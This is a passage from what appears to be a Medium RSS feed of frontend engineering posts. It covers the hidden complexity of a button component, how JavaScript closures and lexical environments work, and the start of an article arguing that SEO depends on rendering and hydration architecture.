when a keyboard user reaches it?</li><li>What happens when it opens a modal?</li><li>What happens when analytics needs to track it?</li><li>What happens when 50 teams across an organization need to use the same component?</li></ol><p>Suddenly, the button isn’t so simple.</p><p>And that’s the interesting part of frontend engineering:</p><blockquote><strong><em>Simple UI does not necessarily mean simple engineering.</em></strong></blockquote><h3>1. The Semantic Contract</h3><p>One of the first mistakes developers can make is thinking about a UI element primarily in terms of how it looks.</p><p>You look at a Figma design and think:</p><blockquote><em>“How do I make this look like a button?”</em></blockquote><p>That can lead to something like:</p><pre>&lt;div className=&quot;btn-primary&quot; onClick={handleSave}&gt;<br>  Save<br>&lt;/div&gt;</pre><p>Visually, it might be indistinguishable from a real button.</p><p>A mouse user can click it.</p><p>So what’s the problem?</p><p>The problem is that we’ve implemented the <strong>appearance</strong> of a button without implementing its <strong>semantic contract</strong>.</p><p>Compare that with:</p><pre>&lt;button onClick={handleSave}&gt;<br>  Save<br>&lt;/button&gt;</pre><p>The browser already understands what this element is.</p><p>A native &lt;button&gt; participates in the browser&#39;s interaction model and accessibility semantics. Keyboard users can interact with it, assistive technologies understand it as a button, and the browser provides behavior that we&#39;d otherwise have to recreate ourselves.</p><p>With a &lt;div&gt;, developers often start adding:</p><pre>&lt;div<br>  role=&quot;button&quot;<br>  tabIndex={0}<br>  onKeyDown={handleKeyDown}<br>&gt;<br>  Save<br>&lt;/div&gt;</pre><p>Now we’re manually rebuilding behavior that the platform already provides.</p><p>That’s a useful frontend engineering principle:</p><blockquote><strong><em>Use the platform’s semantics before trying to recreate them yourself.</em></strong></blockquote><p>Don’t start with:</p><blockquote><em>“How can I make this look like a button?”</em></blockquote><p>Start with:</p><blockquote><strong><em>“What is this element semantically?”</em></strong></blockquote><p>Then style it.</p><h3>2. A Button Has States</h3><p>Once we’ve established the semantic foundation, we have another problem:</p><p>A button isn’t always in the same state.</p><p>Consider a Save button.</p><p>At minimum, it might have:</p><pre>Idle<br>  ↓<br>Loading<br>  ↓<br>Success<br>  ↓<br>Idle</pre><p>Or:</p><pre>Idle<br>  ↓<br>Loading<br>  ↓<br>Error<br>  ↓<br>Retry<br>  ↓<br>Loading</pre><p>There can also be:</p><ul><li>disabled</li><li>focused</li><li>hovered</li><li>pressed</li><li>loading</li><li>success</li><li>error</li></ul><p>So the component isn’t simply:</p><pre>Button → Click</pre><p>It’s closer to a small state machine.</p><pre>                    ┌───────────┐<br>                    │   Idle    │<br>                    └─────┬─────┘<br>                          click<br>                            ↓<br>                    ┌───────────┐<br>                    │  Loading  │<br>                    └─────┬─────┘<br>                     ┌────┴────┐<br>                     ↓         ↓<br>                  success     error<br>                     ↓         ↓<br>               ┌──────────┐ ┌──────────┐<br>               │ Success  │ │  Error   │<br>               └──────────┘ └────┬─────┘<br>                                  ↓<br>                                retry<br>                                  ↓<br>                               Loading</pre><p>Once you start thinking this way, new questions appear.</p><p>Should the label change from:</p><pre>Save</pre><p>to:</p><pre>Saving...</pre><p>Should the button remain the same width so the layout doesn’t shift?</p><p>Should the user still be able to focus it?</p><p>What happens if the request fails?</p><p>Can the user retry?</p><p>Should the success state be communicated to assistive technology?</p><p>The visual component hasn’t changed much.</p><p>The behavioral requirements have.</p><h3>3. disabled Is a Behavior, Not Just a Style</h3><p>A common implementation is:</p><pre>&lt;button disabled={isSaving}&gt;<br>  {isSaving ? &quot;Saving...&quot; : &quot;Save&quot;}<br>&lt;/button&gt;</pre><p>That’s often exactly what you want.</p><p>But it’s important to understand what disabled actually means.</p><p>A native disabled button isn’t simply:</p><blockquote><em>“A button that looks grey.”</em></blockquote><p>It changes how the browser treats the control.</p><p>A disabled button cannot be activated and, in typical browser behavior, is removed from sequential keyboard navigation.</p><p>Now compare that with:</p><pre>&lt;button aria-disabled={isSaving}&gt;<br>  Save<br>&lt;/button&gt;</pre><p>These are not equivalent.</p><p>aria-disabled=&quot;true&quot; communicates an accessibility state, but it does <strong>not</strong> provide the native behavior of disabled.</p><p>The button can remain focusable, and your application is responsible for preventing the action.</p><p>For example:</p><pre>&lt;button<br>  aria-disabled={isSaving}<br>  onClick={() =&gt; {<br>    if (isSaving) return;<br>    handleSave();<br>  }}<br>&gt;<br>  Save<br>&lt;/button&gt;</pre><p>So the decision isn’t simply:</p><blockquote><em>“Which one looks better?”</em></blockquote><p>It’s:</p><blockquote><strong><em>What interaction behavior do we actually want?</em></strong></blockquote><p>That distinction matters when designing reusable components.</p><h3>4. The Duplicate-Submission Problem</h3><p>Now let’s return to my checkout example.</p><p>A naïve implementation might be:</p><pre>async function handlePay() {<br>  await processPayment();<br>}</pre><p>The user clicks:</p><pre>Pay Now<br>   ↓<br>API request<br>   ↓<br>...waiting...</pre><p>Nothing appears to happen.</p><p>So they click again.</p><p>And again.</p><p>A better implementation introduces a loading state:</p><pre>const [isProcessing, setIsProcessing] = useState(false);</pre><pre>async function handlePay() {<br>  if (isProcessing) return;</pre><pre>  setIsProcessing(true);</pre><pre>  try {<br>    await processPayment();<br>  } finally {<br>    setIsProcessing(false);<br>  }<br>}</pre><p>And:</p><pre>&lt;button<br>  disabled={isProcessing}<br>  onClick={handlePay}<br>&gt;<br>  {isProcessing ? &quot;Processing...&quot; : &quot;Pay Now&quot;}<br>&lt;/button&gt;</pre><p>Now we’ve improved the UX considerably.</p><p>But there’s an important architectural lesson here.</p><p><strong>Is this enough to guarantee that a customer won’t be charged twice?</strong></p><p>No.</p><p>The frontend is an unreliable boundary.</p><p>Users can:</p><ul><li>double-click</li><li>refresh the page</li><li>open multiple tabs</li><li>lose network connectivity</li><li>retry requests</li><li>navigate backward and forward</li></ul><p>The backend should therefore have appropriate safeguards for operations such as payments — for example, idempotency mechanisms.</p><p>The frontend can prevent accidental interactions.</p><p>The backend must protect the business operation.</p><blockquote><strong><em>Frontend state can improve the user experience, but it should not be your only line of defense against duplicate operations.</em></strong></blockquote><p>That’s the difference between solving a UI problem and solving the system problem.</p><h3>5. Focus Is Part of the Interaction</h3><p>Now imagine that the button opens a modal:</p><pre>&lt;button onClick={openModal}&gt;<br>  Delete Account<br>&lt;/button&gt;</pre><p>The implementation may be only one line.</p><p>But the interaction is much bigger.</p><p>The user clicks the button.</p><p>The modal opens.</p><p>Where does focus go?</p><p>Once the modal closes, where does focus return?</p><p>A well-designed modal interaction generally needs to manage focus appropriately so keyboard and assistive-technology users aren’t left somewhere unexpected.</p><p>The interaction becomes:</p><pre>Delete Account button<br>        ↓<br>     Open modal<br>        ↓<br>   Move focus appropriately<br>        ↓<br>   User confirms/cancels<br>        ↓<br>     Close modal<br>        ↓<br>Return focus appropriately</pre><p>This is why accessibility isn’t simply:</p><blockquote><em>“Add ARIA attributes.”</em></blockquote><p>Accessibility is fundamentally about <strong>how people interact with the system</strong>.</p><p>And that interaction spans components.</p><p>The button is part of the interaction even though the complexity may actually live in the modal.</p><h3>6. Events Have Boundaries</h3><p>Consider a clickable table row:</p><pre>&lt;div onClick={openDetails}&gt;<br>  &lt;span&gt;Order #1234&lt;/span&gt;<br>  &lt;button onClick={deleteOrder}&gt;<br>    Delete<br>  &lt;/button&gt;<br>&lt;/div&gt;</pre><p>The user clicks <strong>Delete</strong>.</p><p>What should happen?</p><p>Only the delete action?</p><p>Or should the row also open its details?</p><p>Because DOM events bubble, the button’s click can reach the parent.</p><p>You might need:</p><pre>&lt;button<br>  onClick={(event) =&gt; {<br>    event.stopPropagation();<br>    deleteOrder();<br>  }}<br>&gt;<br>  Delete<br>&lt;/button&gt;</pre><p>But there’s a bigger lesson here.</p><p>Whenever interactive elements are composed together, you need to understand their <strong>event boundaries</strong>.</p><p>This applies to:</p><ul><li>menus</li><li>cards</li><li>tables</li><li>dropdowns</li><li>nested controls</li><li>modals</li><li>drag-and-drop interfaces</li></ul><p>A component doesn’t operate in isolation.</p><p>Its behavior is affected by the components around it.</p><h3>7. The User Doesn’t Have One Input Device</h3><p>Another easy assumption is:</p><blockquote><em>“The user clicks the button.”</em></blockquote><p>But users don’t all interact with interfaces in the same way.</p><p>They may use:</p><ul><li>mouse</li><li>keyboard</li><li>touch</li><li>stylus</li><li>screen reader</li><li>other assistive technologies</li></ul><p>That changes the engineering requirements.</p><p>An Engineer isn’t thinking:</p><blockquote><em>“My mouse click works.”</em></blockquote><p>They’re asking:</p><blockquote><strong><em>“Does this interaction model work across input modalities?”</em></strong></blockquote><p>That can influence:</p><ul><li>focus behavior</li><li>keyboard interaction</li><li>touch target size</li><li>hover-dependent behavior</li><li>pointer events</li><li>pressed states</li><li>mobile interactions</li></ul><p>The button may still be 100 pixels wide.</p><p>But the engineering problem is much larger than those 100 pixels.</p><h3>8. Analytics Changes the Problem</h3><p>Now imagine the product team says:</p><blockquote><em>“We need to track when users click Save.”</em></blockquote><p>The obvious implementation might be:</p><pre>&lt;button<br>  onClick={() =&gt; {<br>    track(&quot;save_clicked&quot;);<br>    handleSave();<br>  }}<br>&gt;<br>  Save<br>&lt;/button&gt;</pre><p>But what exactly are we measuring?</p><p>A click?</p><p>A successful save?</p><p>A failed save?</p><p>A validation failure?</p><p>A request that was cancelled?</p><p>Those are different events.</p><p>Consider:</p><pre>User clicks Save<br>       ↓<br>Validation fails</pre><p>Did the save happen?</p><p>No.</p><p>Did the user attempt to save?</p><p>Yes.</p><p>Now:</p><pre>User clicks Save<br>       ↓<br>API request<br>       ↓<br>Server error</pre><p>The user attempted the operation, but the operation failed.</p><p>So analytics isn’t simply:</p><blockquote><em>“Put tracking inside the click handler.”</em></blockquote><p>It’s another example of defining <strong>behavioral contracts</strong>.</p><p>You need to establish what the events actually mean.</p><h3>9. Scaling the Button Across an Organization</h3><p>Now imagine you’re working in a large organization.</p><p>You don’t have one button.</p><p>You have hundreds of buttons across dozens of applications.</p><p>Without a design system, you might see:</p><pre>&lt;button className=&quot;blue-button&quot;&gt;</pre><p>somewhere else:</p><pre>&lt;button className=&quot;primary-action&quot;&gt;</pre><p>and somewhere else:</p><pre>&lt;button style={{ background: &quot;#0066cc&quot; }}&gt;</pre><p>They may all mean the same thing.</p><p>This is where component architecture becomes important.</p><p>Instead of exposing implementation details:</p><pre>&lt;Button<br>  color=&quot;blue&quot;<br>  width=&quot;120px&quot;<br>  padding=&quot;10px&quot;<br>/&gt;</pre><p>a design-system API might look more like:</p><pre>&lt;Button<br>  variant=&quot;primary&quot;<br>  size=&quot;medium&quot;<br>  loading={isSaving}<br>&gt;<br>  Save<br>&lt;/Button&gt;</pre><p>Why is that better?</p><p>Because the component API expresses <strong>intent</strong> rather than implementation.</p><p>You’re not saying:</p><blockquote><em>“Make the background blue.”</em></blockquote><p>You’re saying:</p><blockquote><strong><em>“This is a primary action.”</em></strong></blockquote><p>Now the design system can change what “primary” means without forcing every consumer to update its implementation.</p><p>That’s an important abstraction boundary.</p><h3>10. Reusability Is More Than Reusing Code</h3><p>A component isn’t truly reusable just because multiple applications can import it.</p><p>A reusable component needs a clear contract.</p><p>For example:</p><pre>&lt;Button<br>  variant=&quot;primary&quot;<br>  size=&quot;medium&quot;<br>  loading<br>&gt;<br>  Save<br>&lt;/Button&gt;</pre><p>raises questions that the design-system team needs to answer:</p><ul><li>What happens when loading is true?</li><li>Is the button automatically disabled?</li><li>Is the original label preserved?</li><li>How is loading communicated?</li><li>Can the button receive focus?</li><li>What happens when disabled and loading are both true?</li><li>What happens if an icon is provided?</li><li>Can the component render as a link?</li><li>What variants are supported?</li><li>Which props are intentionally not supported?</li></ul><p>The component API becomes a <strong>contract between teams</strong>.</p><p>And contracts matter much more as an organization grows.</p><h3>11. Testing the Contract, Not the Implementation</h3><p>A fragile test might look like:</p><pre>expect(button).toHaveClass(&quot;primary-button&quot;);</pre><p>But CSS classes are implementation details.</p><p>A better test asks what the user can actually do:</p><pre>expect(<br>  screen.getByRole(&quot;button&quot;, { name: &quot;Save&quot; })<br>).toBeEnabled();</pre><p>Then we can test behavior:</p><pre>✓ button has the correct semantic role<br>✓ button has an accessible name<br>✓ button can be activated<br>✓ loading state prevents duplicate actions<br>✓ disabled state prevents interaction<br>✓ errors are handled correctly<br>✓ keyboard interaction works<br>✓ focus behavior works</pre><p>The principle is:</p><blockquote><strong><em>Test the contract, not the implementation.</em></strong></blockquote><p>This makes tests more resilient when the underlying implementation changes.</p><h3>12. The Button Is a Small System</h3><p>At this point, the original component:</p><pre>&lt;button onClick={handleSave}&gt;<br>  Save<br>&lt;/button&gt;</pre><p>has turned into something much richer.</p><p>You can think about it across several dimensions:</p><pre>BUTTON<br>                            │<br>       ┌────────────────────┼────────────────────┐<br>       │                    │                    │<br>   Semantics              State              Interaction<br>       │                    │                    │<br>   HTML                  Idle                 Click<br>   ARIA                  Loading              Keyboard<br>   Role                  Success              Touch<br>   Focus                 Error                Events<br>       │                    │                    │<br>       └────────────────────┼────────────────────┘<br>                            │<br>                     Production Concerns<br>                            │<br>              ┌─────────────┼─────────────┐<br>              │             │             │<br>          Analytics      Testing       Design System<br>              │             │             │<br>          Events         Behavior       API<br>          Success        A11y           Tokens<br>          Failure        States         Variants</pre><p>The HTML element is tiny.</p><p>The system around it isn’t.</p><h3>The Engineering Perspective</h3><p>The difference isn’t necessarily how much code you write.</p><p>It’s how many questions you ask <strong>before</strong> you write the code.</p><p>A button can be implemented in a few lines:</p><pre>&lt;button onClick={handleSave}&gt;<br>  Save<br>&lt;/button&gt;</pre><p>But an engineering perspective looks beyond those lines.</p><p>Before implementing it, you start asking:</p><ol><li><strong>What is this element semantically?</strong><br>Is a native &lt;button&gt; the right choice, or are we unnecessarily recreating browser behavior?</li><li><strong>What states can it have?</strong><br>Is it idle, loading, disabled, successful, or in an error state? What happens during each transition?</li><li><strong>What happens when something goes wrong?</strong><br>What if the API is slow? What if the user clicks twice? What if the request fails? What happens if the user refreshes the page?</li><li><strong>How does it work for different users?</strong><br>Can someone navigate to it with a keyboard? Is focus handled correctly? Does the interaction make sense with touch or assistive technology?</li><li><strong>What happens when it is composed with other components?</strong><br>Could event bubbling trigger an unexpected action? Does opening a modal require focus management?</li><li><strong>What does the component’s API communicate?</strong><br>Are we exposing implementation details like colors and padding, or are we expressing intent through concepts such as variant=&quot;primary&quot; and size=&quot;medium&quot;?</li><li><strong>How will this behave at scale?</strong><br>Is this component going to be used by one team, or will dozens of teams depend on it? How do we keep the contract consistent while allowing the component to evolve?</li><li><strong>What exactly are we testing?</strong><br>Are we testing that a CSS class exists, or are we testing the behavior and accessibility contract that the component promises?</li><li><strong>What are we measuring?</strong><br>If analytics is required, are we tracking a click, an attempted action, a successful operation, or a failure?</li></ol><p>None of these questions necessarily make the button bigger.</p><p>They make our <strong>understanding of the button deeper</strong>.</p><p>That’s the engineering perspective.</p><p>It’s moving from:</p><blockquote><strong><em>“How do I implement this UI?”</em></strong></blockquote><p>to:</p><blockquote><strong><em>“What behavior, constraints, and failure modes does this UI need to handle?”</em></strong></blockquote><p>And that shift applies far beyond buttons.</p><p>The same thinking changes how we build forms, modals, dropdowns, search experiences, tables, navigation, and entire frontend systems.</p><p><strong>Good frontend engineering isn’t just about making the UI work.</strong></p><p>It’s about understanding everything that <em>“work”</em> actually means.</p><h3>The Bigger Lesson</h3><p>The button is only an example.</p><p>The same thinking applies to almost every component we build.</p><p>A form isn’t just a collection of inputs.</p><p>A dropdown isn’t just a list that opens.</p><p>A modal isn’t just a div with position: fixed.</p><p>A search box isn’t just an &lt;input&gt;.</p><p>A table isn’t just rows and columns.</p><p>A loading spinner isn’t just an animation.</p><p>Each seemingly simple component sits on top of a network of:</p><ul><li>states</li><li>interactions</li><li>accessibility requirements</li><li>browser behavior</li><li>performance considerations</li><li>API contracts</li><li>failure modes</li><li>analytics</li><li>testing requirements</li><li>architectural boundaries</li></ul><p>And that’s what makes frontend engineering interesting.</p><p>The hard part isn’t always writing the code.</p><p>Sometimes the hardest part is realizing <strong>what the code needs to account for in the first place.</strong></p><p>So the next time you see:</p><pre>&lt;button&gt;Save&lt;/button&gt;</pre><p>don’t dismiss it as simple.</p><p>Ask:</p><blockquote><em>What does this button mean?</em></blockquote><blockquote><em>What states can it enter?</em></blockquote><blockquote><em>What can go wrong?</em></blockquote><blockquote><em>Who can interact with it?</em></blockquote><blockquote><em>What happens when the network is slow?</em></blockquote><blockquote><em>What happens when the user clicks twice?</em></blockquote><blockquote><em>What contract does it expose?</em></blockquote><blockquote><em>What happens when 50 teams depend on it?</em></blockquote><p>Because in production software:</p><p><strong>The button is never just a button.</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=150b302775da" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Closures Aren’t Magic, They’re Just Lexical Environments That Refuse to Die]]></title>
            <link>https://medium.com/@ramya_selvaraj/closures-arent-magic-they-re-just-lexical-environments-that-refuse-to-die-0501bfd70a4e?source=rss-3e06f48ee7f3------2</link>
            <guid isPermaLink="false">https://medium.com/p/0501bfd70a4e</guid>
            <category><![CDATA[closure-in-javascript]]></category>
            <category><![CDATA[javascript]]></category>
            <category><![CDATA[closure]]></category>
            <dc:creator><![CDATA[Ramya Selvaraj]]></dc:creator>
            <pubDate>Sun, 02 Aug 2026 15:01:57 GMT</pubDate>
            <atom:updated>2026-08-02T15:01:57.144Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8dr4C_sECqJU7i24LQg6SA.png" /><figcaption>closure</figcaption></figure><p>Every JavaScript developer eventually hears this sentence:</p><blockquote><em>“A closure is a function bundled together with its lexical environment.”</em></blockquote><p>Everyone memorizes it.</p><p>Few people actually understand what it means.</p><p>Many developers can define a closure, but when asked <strong>where it’s stored</strong>, <strong>when it’s created</strong>, or <strong>why JavaScript even needs it</strong>, the explanation usually falls apart.</p><p>Closures aren’t magic.</p><p>They’re simply a consequence of how JavaScript manages execution contexts and lexical environments.</p><p>Let’s look under the hood.</p><h3>The Common Misconception</h3><p>Many developers imagine something like this:</p><pre>function outer() {<br>  let count = 0;<br>  return function () {<br>    count++;<br>    console.log(count);<br>  };<br>}</pre><p>And then they say:</p><blockquote><em>“The inner function remembers count.”</em></blockquote><p>Sure.</p><p>But…</p><p><strong>How?</strong></p><p>After outer() finishes, shouldn&#39;t count disappear?</p><p>Normally, yes.</p><p>Local variables are supposed to die when their function returns.</p><p>So why doesn’t this one?</p><h3>Let’s Follow What the JavaScript Engine Actually Does</h3><p>When you call:</p><pre>const increment = outer();</pre><p>the engine creates an <strong>Execution Context</strong> for outer().</p><p>That execution context contains:</p><pre>Execution Context<br>------------------------<br>Variable Environment<br>Lexical Environment<br>this<br>Outer Reference</pre><p>Inside the Lexical Environment:</p><pre>Lexical Environment<br><br>count → 0<br><br>increment function → memory reference</pre><p>Everything seems normal so far.</p><h3>Then outer() Returns…</h3><p>Normally JavaScript removes the execution context from the call stack.</p><pre>Call Stack<br><br>Global<br><br>outer()   ← popped off</pre><p>At this point you might expect:</p><pre>count</pre><p>to disappear.</p><p>But it doesn’t.</p><p>Why?</p><p>Because something still needs it.</p><h3>The Hidden Reference</h3><p>The returned function doesn’t just contain executable code.</p><p>It also stores an internal reference.</p><p>Conceptually:</p><pre>Function Object<br><br>Code<br>[[Environment]] → Lexical Environment of outer()</pre><p>That internal reference is what people call a <strong>closure</strong>.</p><p>It isn’t copying variables.</p><p>It isn’t cloning objects.</p><p>It simply says:</p><blockquote><em>“If I ever need a variable that isn’t inside me,<br>go look over there.”</em></blockquote><h3>Nothing Gets Copied</h3><p>This surprises many.</p><p>Consider:</p><pre>function outer() {<br>    let count = 0;<br>    return function () {<br>        count++;<br>        console.log(count);<br>    };<br>}<br>const increment = outer();<br>increment();<br>increment();<br>increment();</pre><p>Output:</p><pre>1<br>2<br>3</pre><p>If closures copied variables…</p><p>every call would print:</p><pre>1</pre><p>Instead, the same variable is being updated.</p><p>The closure references the original lexical environment.</p><h3>Where Is That Lexical Environment Stored?</h3><p>A common interview question:</p><blockquote><strong><em>Is it on the stack?</em></strong></blockquote><p>No.</p><p>The execution context was on the stack.</p><p>But the lexical environment survives because something still references it.</p><p>JavaScript engines promote that environment to managed memory (the heap), where the garbage collector can keep it alive.</p><p>Think of it like this:</p><pre>Stack<br><br>Global<br>↓<br>Heap<br>Lexical Environment<br>count = 3<br>↑<br>Function<br>[[Environment]]</pre><p>The stack frame disappears.</p><p>The environment doesn’t.</p><h3>Why JavaScript Needs Closures</h3><p>Imagine closures didn’t exist.</p><pre>function createCounter() {<br>    let count = 0;<br>    return function () {<br>        count++;<br>        return count;<br>    };<br>}</pre><p>After createCounter() finishes...</p><p>count would disappear.</p><p>Every call would fail.</p><p>Closures make <strong>private state</strong> possible.</p><p>Without them:</p><ul><li>React Hooks wouldn’t work.</li><li>Event handlers couldn’t access surrounding variables.</li><li>Function factories wouldn’t exist.</li><li>Memoization would be impossible.</li><li>Debouncing and throttling would break.</li></ul><p>Closures are one of JavaScript’s foundational features — not just a convenience.</p><h3>Closures Are Created Immediately</h3><p>Another common misunderstanding:</p><blockquote><em>“Closures are created when the function executes.”</em></blockquote><p>Not exactly.</p><p>They’re created when the function is <strong>defined</strong>, because that’s when JavaScript records the function’s surrounding lexical environment.</p><p>Example:</p><pre>function outer() {<br>    let message = &quot;Hello&quot;;<br>    const sayHello = () =&gt; {<br>        console.log(message);<br>    };<br>    return sayHello;<br>}</pre><p>The arrow function immediately records:</p><pre>[[Environment]]<br>↓<br>outer lexical environment</pre><p>Even before it’s called.</p><h3>React Uses Closures Everywhere</h3><p>Consider this component:</p><pre>function Counter() {<br>    const [count, setCount] = useState(0);<br>    function handleClick() {<br>        console.log(count);<br>    }<br>    return (<br>        &lt;button onClick={handleClick}&gt;<br>            Click<br>        &lt;/button&gt;<br>    );<br>}</pre><p>handleClick closes over count.</p><p>Every render creates a <strong>new closure</strong>.</p><p>That’s why stale closure bugs happen.</p><p>For example:</p><pre>useEffect(() =&gt; {<br>    const id = setInterval(() =&gt; {<br>        console.log(count);<br>    }, 1000);<br>}, []);</pre><p>Developers expect:</p><pre>0<br>1<br>2<br>3</pre><p>Instead they get:</p><pre>0<br>0<br>0<br>0</pre><p>Why?</p><p>Because the interval captured the lexical environment from the <strong>first render</strong>.</p><p>The callback isn’t broken.</p><p>The closure is doing exactly what it was designed to do.</p><h3>Can Closures Cause Memory Leaks?</h3><p>Yes.</p><p>Not because closures are bad.</p><p>Because references prevent garbage collection.</p><p>Example:</p><pre>function createBigObject() {<br>    const hugeArray = new Array(1000000).fill(&quot;data&quot;);<br>    return function () {<br>        console.log(hugeArray.length);<br>    };<br>}<br>const fn = createBigObject();</pre><p>Even though createBigObject() finished...</p><p>hugeArray cannot be collected.</p><p>The closure still references it.</p><p>Once:</p><pre>fn = null;</pre><p>(or all references to the function are removed)</p><p>the lexical environment becomes unreachable.</p><p>The garbage collector can reclaim the memory.</p><p>Closures themselves don’t leak memory — <strong>unnecessary long-lived references do</strong>.</p><h3>The Mental Model That Finally Makes Closures Click</h3><p>Instead of memorizing definitions…</p><p>Picture this:</p><pre>Function<br>↓<br>Needs variable?<br>↓<br>Follow [[Environment]]<br>↓<br>Lexical Environment<br>↓<br>Find variable<br>↓<br>Use it</pre><p>That’s all.</p><p>No magic.</p><p>No copying.</p><p>No hidden storage tricks.</p><p>Just a function carrying a pointer to the scope where it was created.</p><h3>Final Thoughts</h3><p>Closures are often presented as one of JavaScript’s most mysterious features.</p><p>In reality, they’re a natural outcome of lexical scoping.</p><p>A function doesn’t “remember” variables through magic. It simply retains a reference to the lexical environment in which it was created. As long as that reference exists, the environment stays alive. When nothing references it anymore, the garbage collector cleans it up.</p><p>Once you understand that mental model, closures stop feeling like a special language feature and start feeling like a predictable part of JavaScript’s execution model.</p><p>And that’s when many other concepts — React Hooks, event handlers, function factories, memoization, and even stale closure bugs — become much easier to reason about.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0501bfd70a4e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Googlebot is Your First User: Rethinking Frontend Architecture]]></title>
            <link>https://medium.com/@ramya_selvaraj/googlebot-is-your-first-user-rethinking-frontend-architecture-d2190849b4a0?source=rss-3e06f48ee7f3------2</link>
            <guid isPermaLink="false">https://medium.com/p/d2190849b4a0</guid>
            <category><![CDATA[react]]></category>
            <category><![CDATA[aeo]]></category>
            <category><![CDATA[html]]></category>
            <category><![CDATA[frontend]]></category>
            <category><![CDATA[seo]]></category>
            <dc:creator><![CDATA[Ramya Selvaraj]]></dc:creator>
            <pubDate>Mon, 13 Jul 2026 05:00:53 GMT</pubDate>
            <atom:updated>2026-07-13T05:00:53.437Z</atom:updated>
            <content:encoded><![CDATA[<blockquote>After years working in frontend, I’ve learned that SEO isn’t solved with meta tags; it’s solved by architectural decisions around rendering, data fetching, and hydration.</blockquote><p><em>“Most frontend teams optimize for the user sitting behind the browser. The highest-performing teams optimize for another user first — Googlebot.”</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QDOvfADF7K9dycrzQHReZQ.png" /></figure><p>When search traffic drops, the first reaction is usually to involve the SEO team.</p><p>Someone checks title tags.</p><p>Someone audits structured data.</p><p>Someone updates meta descriptions.</p><p>Maybe a ticket gets created to “fix SEO.”</p><p>But in almost every large application I’ve worked on, the real problem wasn’t SEO.</p><p>It was architecture.</p><p>Because long before a customer clicks <em>Add to Cart</em>, another visitor has already evaluated your application.</p><p>That visitor is Googlebot.</p><p>And unlike human users, Googlebot doesn’t wait patiently for your React application to finish hydrating, your API waterfall to complete, or your client-side router to discover the content.</p><p>It evaluates your architecture.</p><p>If your architecture hides information behind JavaScript execution, unnecessary rendering, or delayed data fetching, your content becomes harder to discover — not because it doesn’t exist, but because you’ve made it expensive to access.</p><p>That’s why I like to think of Googlebot as the first user of every frontend application.</p><h3>We Design for Humans. We Forget About Machines.</h3><p>Frontend engineering has evolved dramatically.</p><p>We obsess over:</p><ul><li>beautiful component systems</li><li>accessibility</li><li>performance</li><li>responsive layouts</li><li>design systems</li><li>user experience</li></ul><p><strong>All of those matter.</strong></p><p>But modern applications also serve another audience:</p><ul><li>search engines</li><li>AI crawlers</li><li>accessibility tools</li><li>social media preview bots</li><li>browser prefetchers</li><li>performance analyzers</li></ul><p>These systems don’t “use” our applications the way humans do.</p><p>They consume them differently.</p><p>That means architecture decisions have consequences beyond the browser.</p><h3>Googlebot Doesn’t Browse Like Your Users</h3><p>One misconception I still hear is:</p><blockquote><em>“Google executes JavaScript now, so SEO isn’t a concern.”</em></blockquote><p>Technically, yes.</p><p>Practically, it’s an oversimplification.</p><p>Google’s indexing process is optimized for scale. It begins by crawling the HTML it receives, extracting links, headings, metadata, structured data, and visible content. JavaScript rendering happens later through a separate rendering service, and while Google is very capable, rendering every page is computationally expensive.</p><p>That distinction matters.</p><p>If the most important information on your page only appears after a chain of JavaScript downloads and client-side rendering, you’ve increased the work required for search engines to understand your content.</p><p>The goal shouldn’t be to make Googlebot <em>capable</em> of finding your content.</p><p>The goal should be to make it <em>easy</em>.</p><p>That’s the same principle we apply to performance optimization for users.</p><h3>Your HTML Is an API</h3><p>One mental model has changed how I think about frontend architecture:</p><blockquote><strong><em>HTML is not just what the browser renders. It’s the public API of your application.</em></strong></blockquote><p>Everything consuming your application — Googlebot, AI systems, screen readers, social crawlers, browsers, starts with that HTML.</p><p>A well-structured document communicates intent before any JavaScript executes.</p><p>That means your initial HTML should clearly expose:</p><ul><li>the primary heading</li><li>meaningful content</li><li>product information</li><li>article text</li><li>breadcrumbs</li><li>canonical URLs</li><li>structured data</li><li>internal links</li></ul><p>JavaScript should enhance that experience, not reveal it.</p><h3>Hydration Has a Cost</h3><p>Hydration is one of the greatest innovations in modern frontend development.</p><p>It’s also one of the most misunderstood.</p><p>Every hydrated component asks the browser to:</p><ul><li>download JavaScript</li><li>parse it</li><li>execute it</li><li>attach event listeners</li><li>reconcile server-rendered markup</li></ul><p>That’s real CPU work.</p><p>On high-end laptops, it might be barely noticeable.</p><p>On lower-powered mobile devices — or when multiplied across hundreds of components — it becomes significant.</p><p>As engineers, we often think of hydration only as a user performance concern.</p><p>It’s also an architectural concern.</p><p>The more JavaScript required before meaningful content becomes available, the greater the complexity for every system consuming your application.</p><p>Today’s frontend architectures increasingly embrace selective hydration, partial hydration, streaming, and server components because not every part of a page needs to become interactive immediately.</p><p>That’s a healthier default than hydrating everything.</p><h3>Not Every Component Deserves JavaScript</h3><p>One question I ask during design reviews is simple:</p><blockquote><strong><em>Does this component truly need to be interactive?</em></strong></blockquote><p>A product description?</p><p>Probably not.</p><p>Shipping information?</p><p>No.</p><p>Terms and conditions?</p><p>No.</p><p>A carousel?</p><p>Yes.</p><p>A size selector?</p><p>Absolutely.</p><p>By separating static content from interactive experiences, we reduce JavaScript, improve rendering speed, and simplify the work required for search engines and AI systems to interpret the page.</p><p>Architecture becomes intentional instead of automatic.</p><h3>SEO Begins Before React</h3><p>Many teams still treat SEO as something added after development.</p><p>The reality is that the most important SEO decisions are often made before the first React component exists.</p><p>Questions like these have a much bigger impact than choosing a meta tag library:</p><ul><li>Where is rendering performed?</li><li>How is data fetched?</li><li>Can the page stream meaningful content early?</li><li>Which content is available without JavaScript?</li><li>How are internal links exposed?</li><li>How is structured data generated?</li><li>How are APIs aggregated to avoid rendering waterfalls?</li></ul><p>These aren’t SEO questions.</p><p>They’re frontend architecture questions.</p><h3>AI Search Raises the Bar</h3><p>Search is changing.</p><p>Traditional search engines are no longer the only systems reading our applications.</p><p>Large language models, AI-powered search assistants, and answer engines increasingly rely on extracting structured, trustworthy, and semantically organized information.</p><p>Content buried behind complex client-side rendering, fragmented APIs, or poor document structure is harder to interpret consistently.</p><p>Clean HTML, meaningful headings, semantic markup, and structured data don’t just improve indexing — they 